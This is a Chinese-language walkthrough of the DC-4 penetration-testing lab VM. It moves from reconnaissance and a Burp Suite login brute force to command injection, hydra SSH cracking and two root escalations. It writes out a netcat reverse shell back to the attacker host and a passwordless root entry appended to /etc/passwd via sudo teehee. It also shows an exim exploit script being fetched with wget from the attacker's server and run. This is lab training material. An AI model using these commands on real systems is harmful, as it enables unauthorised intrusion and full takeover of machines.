DC-4靶机刷题记录

发布时间:2024年01月19日

靶机下载地址:

链接:https://pan.baidu.com/s/1YbPuSw_xLdkta10O9e2zGw?pwd=n6nx 
提取码:n6nx 

参考:

image.png
描述:

DESCRIPTION 说明
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
DC-4是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
与之前的DC版本不同,这一版本主要是为初学者/中级用户设计的。只有一面旗帜,但从技术上讲,有多个入口点,就像上次一样,没有任何线索。

Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
Linux技能和熟悉Linux命令行是必须的,有一些基本渗透测试工具的经验也是必须的。

For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
对于初学者来说,谷歌可以提供很大的帮助,但你可以随时在@DCAU7上向我推特寻求帮助,让你重新开始。但请注意:我不会给你答案,相反,我会给你一个如何前进的想法。

使用工具

攻击者:kali 192.168.1.128
靶机:dc-3 192.168.1.

1、导入VMware虚拟机

下载完成后,得到DC-4.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。

一.信息收集

基础信息查询

0x01 查看存活主机
arp-scan -l       #二层主机扫描,主动发送ARP包进行嗅探

image.png

0x02 查看开放端口 和 0x03 查看端口服务
nmap -p- 192.168.1.131 -A

# -p-选项用于指定要扫描的所有端口范围。通常情况下,-p-表示扫描所有65535个端口
# -A 参数可以更详细一点,-A参数是一个组合选项,用于启用"全面扫描"模式。使用该参数可以执行更全面的信息收集和服务识别。

image.png

目录扫描
dirb http://192.168.1.132 /usr/share/dirb/wordlists/big.txt 

image.png
没什么目录信息可用

0x04 服务器信息查询,CMS查询

image.png

页面信息探测

image.png

爆破用户密码

1. 用户登入爆破

随便输入用户名和密码,点击登入,用burpsuite抓包
然后选择Cluster bomb集束炸弹模式
image.png
image.png
payload1设置为admin
image.png
payload2设置为一个密码字典,可以上网查Top1000弱口令字典放进去常见的弱口令字典1000~一石三鸟-CSDN博客
image.png
开始攻击,密码为happy
image.png
image.png
登录成功
image.png
这里有几个命令
image.png
我们可以通过抓包来进行修改它要执行的命令
image.png

发现任意命令执行漏洞

改为 id 发现可以成功执行
image.png
那么我们可以来进行反弹shell

反弹shell

先在kali上监听8888端口

nc -lvvnp 8888

nc -lvvnp 8888命令是使用netcat工具来监听网络连接并侦听指定的端口。

  • -l选项表示netcat将进入监听模式。
  • -v选项用于显示详细的调试信息。
  • -n选项用于禁止DNS解析,以避免延迟。
  • -p选项后跟要监听的端口号。

执行该命令后,netcat会开始在指定的端口上进行监听,并显示从客户端发送过来的连接和相关信息。

listening on [any] 8888 ...

您可以使用这个命令来创建一个简单的反向shell或测试网络连接等。


然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上

nc -e /bin/bash 192.168.1.128 8888

image.png
image.png
反弹shell成功,接着升级为交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

image.png
接下来就是提权了,然后找flag了

提权

在home目录下发现三个用户

  • charles
  • jim
  • sam

image.png
在/home/jim/backups目录下发现一个旧密码本
image.png
复制出来保存为1.txt

有用户名了,使用工具爆破密码:
使用hydra工具:

Hydra 是一款强大的网络登录破解工具,可用于暴力破解各种网络服务的用户名和密码。它支持多种协议和服务,包括常见的 SSH、FTP、Telnet、SMTP、POP3、IMAP 等。在 Kali Linux 中,Hydra 已经预装并且准备好供使用。

以下是 Hydra 的基本用法示例:

hydra -l <用户名> -P <密码列表文件> <目标IP地址> <协议> -s <端口号> -t <线程数>

其中:

  • <用户名>:要破解的用户名,可以使用单个用户名或者使用用户名列表文件。
  • <密码列表文件>:包含要尝试的密码的文件路径。
  • <目标IP地址>:要破解的目标主机的 IP 地址。
  • <协议>:要破解的服务的协议类型,如 ssh、ftp、telnet 等。
  • <端口号>:目标服务的端口号,默认为协议的默认端口号。
  • <线程数>:用于并发尝试的线程数,默认为 16。

要使用 Hydra 进行 SSH 登录破解,可以执行以下命令:
对 jim 的账号进行破解

hydra -l jim -P 1.txt 192.168.1.132 ssh

image.png
获得密码jibril04
那么接下来进行 ssh 登录 jim 的账号
image.png
登录成功
提示你有一封邮件
image.png
是root发来的
image.png
用 find 命令查找 mail

find / -name *mail*       # 这条命令表示从根目录开始,查到前和后带有mail的目录

image.png
发现了/var/mail目录,进去看看
image.png
Charles要去度假,所以把密码发给了jim
image.png
那我们尝试登录Charles的账号,成功登录
image.png
sudo -l命令用于列出当前用户可以以超级用户权限运行的命令。
image.png
发现teehee命令
它是一个自定义的命令,那我们执行看看

teehee --help

image.png
-a参数 说可以不覆盖文件的形式追加内容
在文末添加,但是不是覆盖文件(teehee运行时有root权限,则可以由此修改passwd文件)

添加新用户到/etc/passwd中

参考/etc/passwd文件解刨
简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
##建议手打命令,复制粘贴可能不管用

对于admin::0:0:::/bin/bash的解释

[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]

我们创建了一个admin用户,没有设置密码
添加成功之后就切换为admin用户
image.png
在root目录下发现flag文件

flag

image.png

方法二:

SUID

其中 exim4 可以提权


该命令用于在整个文件系统中搜索具有设置了 setuid 位的可执行文件,并将结果输出。

  • find 是一个用于在指定路径下搜索文件和目录的命令。
  • / 表示从根目录开始搜索,也就是整个文件系统。
  • -perm -4000 表示查找具有设置了 setuid 位(权限为 4000)的文件。setuid 位允许普通用户以拥有者的权限来执行该文件。
  • -print 选项用于打印找到的文件的完整路径。
  • 2>/dev/null 将错误输出重定向到 /dev/null,这样可以屏蔽一些不必要的错误信息。

当命令执行完成后,它将返回所有具有设置了 setuid 位的可执行文件的完整路径列表。


find / -perm -4000 2>/dev/null

find / -perm -4000 -print 2>/dev/null

image.png
exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权
先看一下 exim的版本

exim4 --version

image.png
确定版本,接着查找漏洞

searchsploit exim 4

image.png
选择对应版本的提权(Privilege Escalation)漏洞,完整path
/usr/share/exploitdb/exploits/linux/local/46996.sh
把这个脚本复制出来
image.png
使用python打开http服务 映射本地文件 python -m http.server


python -m http.server 是一个用于启动简单的HTTP服务器的命令。
执行该命令后,它将在当前目录下启动一个基于Python的HTTP服务器,默认监听端口为8000。这个HTTP服务器可以被用于快速共享文件、浏览静态网页或进行简单的文件传输等任务。
示例输出可能如下所示:

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

此时,您可以通过浏览器或其他HTTP客户端访问 http://localhost:8000 来浏览当前目录中的文件。如果希望使用不同的端口号,可以在命令中使用 -p 参数指定,例如 python -m http.server 8080 将使用8080端口。
请注意,这个简单的HTTP服务器通常用于开发和调试目的,并不适合在生产环境中使用。对于公开访问的网络服务,请考虑使用更安全和功能丰富的HTTP服务器软件。


出现这个页面就说明开启HTTP服务成功了
image.png
在靶机中切换到/tmp目录中,因为在这个目录可用加权限,使用wget命令下载并开启bash终端

wget http://192.168.1.128:8000/46996.sh | bash

image.png
然后给46996.sh权限 并且运行这个脚本

chmod +x ./46996.sh

点(.)在Linux中表示运行,./ 表示当前目录,紧接着是要运行的脚本文件名

./46996.sh 

image.png
image.png

总结

1、在真实的环境中,信息收集环境不能少,在收集越多的信息,对于后面的提权或者打进去非常有用。
2、针对提权,在一个靶机中可能存在多种的提权方式,关键就在于信息收集,当我们收集的信息,满足一些提权条件的时候就可以使用。
3、在普通的情况下,kail自带的字典就已经够用,如果跑全部跑完了,就可以放弃暴力破解,得使用其他方式了,当然也可以在加自己根据信息收集阶段中生成 社工字典。
4、此靶机考察了对hydra的掌握以及对命令执行漏洞的利用,考虑到nc 的提权方式(正反提权)考察对用户操作的了解

完毕!

文章来源:https://blog.csdn.net/weixin_64422989/article/details/135707399
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。